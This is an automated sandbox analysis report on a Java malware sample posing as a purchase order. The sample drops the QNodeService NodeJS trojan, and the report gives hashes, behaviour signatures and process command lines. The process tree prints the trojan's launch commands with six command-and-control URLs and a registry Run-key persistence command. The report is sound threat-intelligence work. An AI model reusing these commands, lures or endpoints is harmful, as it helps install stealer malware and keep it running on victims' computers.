Analysis

  • max time kernel
    90s
  • max time network
    155s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    22-07-2020 07:42

General

  • Target

    Jiu Chang Co. Ltd Purchase order.jar

  • Size

    13KB

  • MD5

    eb1e10dfe6e6dfa0f583773c8ff95d30

  • SHA1

    0e871dbd3d9aca806db001ccd06f77202a8b7757

  • SHA256

    d47d68e878628d7e76a399021d738eb0b0d1cb2c3892220302876790b1a6c3c3

  • SHA512

    f68e459cae33ff634223e96bc5c476d2c82479468c393a3af609ca31bf6af0bbff1ec048f2aea82ea3d960873306941f2e1b3ee9db2ec343866cf987f9337a10

Malware Config

Signatures

  • Suspicious use of WriteProcessMemory 8 IoCs
  • Loads dropped DLL 4 IoCs
  • JavaScript code in executable 2 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • QNodeService NodeJS Trojan 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • QNodeService

    is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\Jiu Chang Co. Ltd Purchase order.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4032
    • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
      C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://benty1.gotdns.ch --central-base-url https://putisk.myvnc.com --central-base-url https://buenosza.hopto.org --central-base-url https://opensa.publicvm.com --central-base-url https://ulrich7.linkpc.net --central-base-url https://zaploni.linkpc.net
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:2324
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-b8f0ff2b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-b8f0ff2b.cmd\"""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3924
        • C:\Windows\system32\reg.exe
          REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-b8f0ff2b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-b8f0ff2b.cmd\""
          4⤵
          • Adds Run key to start application
          PID:3916
      • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
        C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://benty1.gotdns.ch --central-base-url https://putisk.myvnc.com --central-base-url https://buenosza.hopto.org --central-base-url https://opensa.publicvm.com --central-base-url https://ulrich7.linkpc.net --central-base-url https://zaploni.linkpc.net
        3⤵
        • Loads dropped DLL
        • Checks processor information in registry
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:2212

Network

MITRE ATT&CK Enterprise v6

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Downloads

  • memory/2212-121-0x000000825BCC0000-0x000000825BCC1000-memory.dmp

    Filesize

    4KB

  • memory/2324-115-0x0000004EA8F00000-0x0000004EA8F01000-memory.dmp

    Filesize

    4KB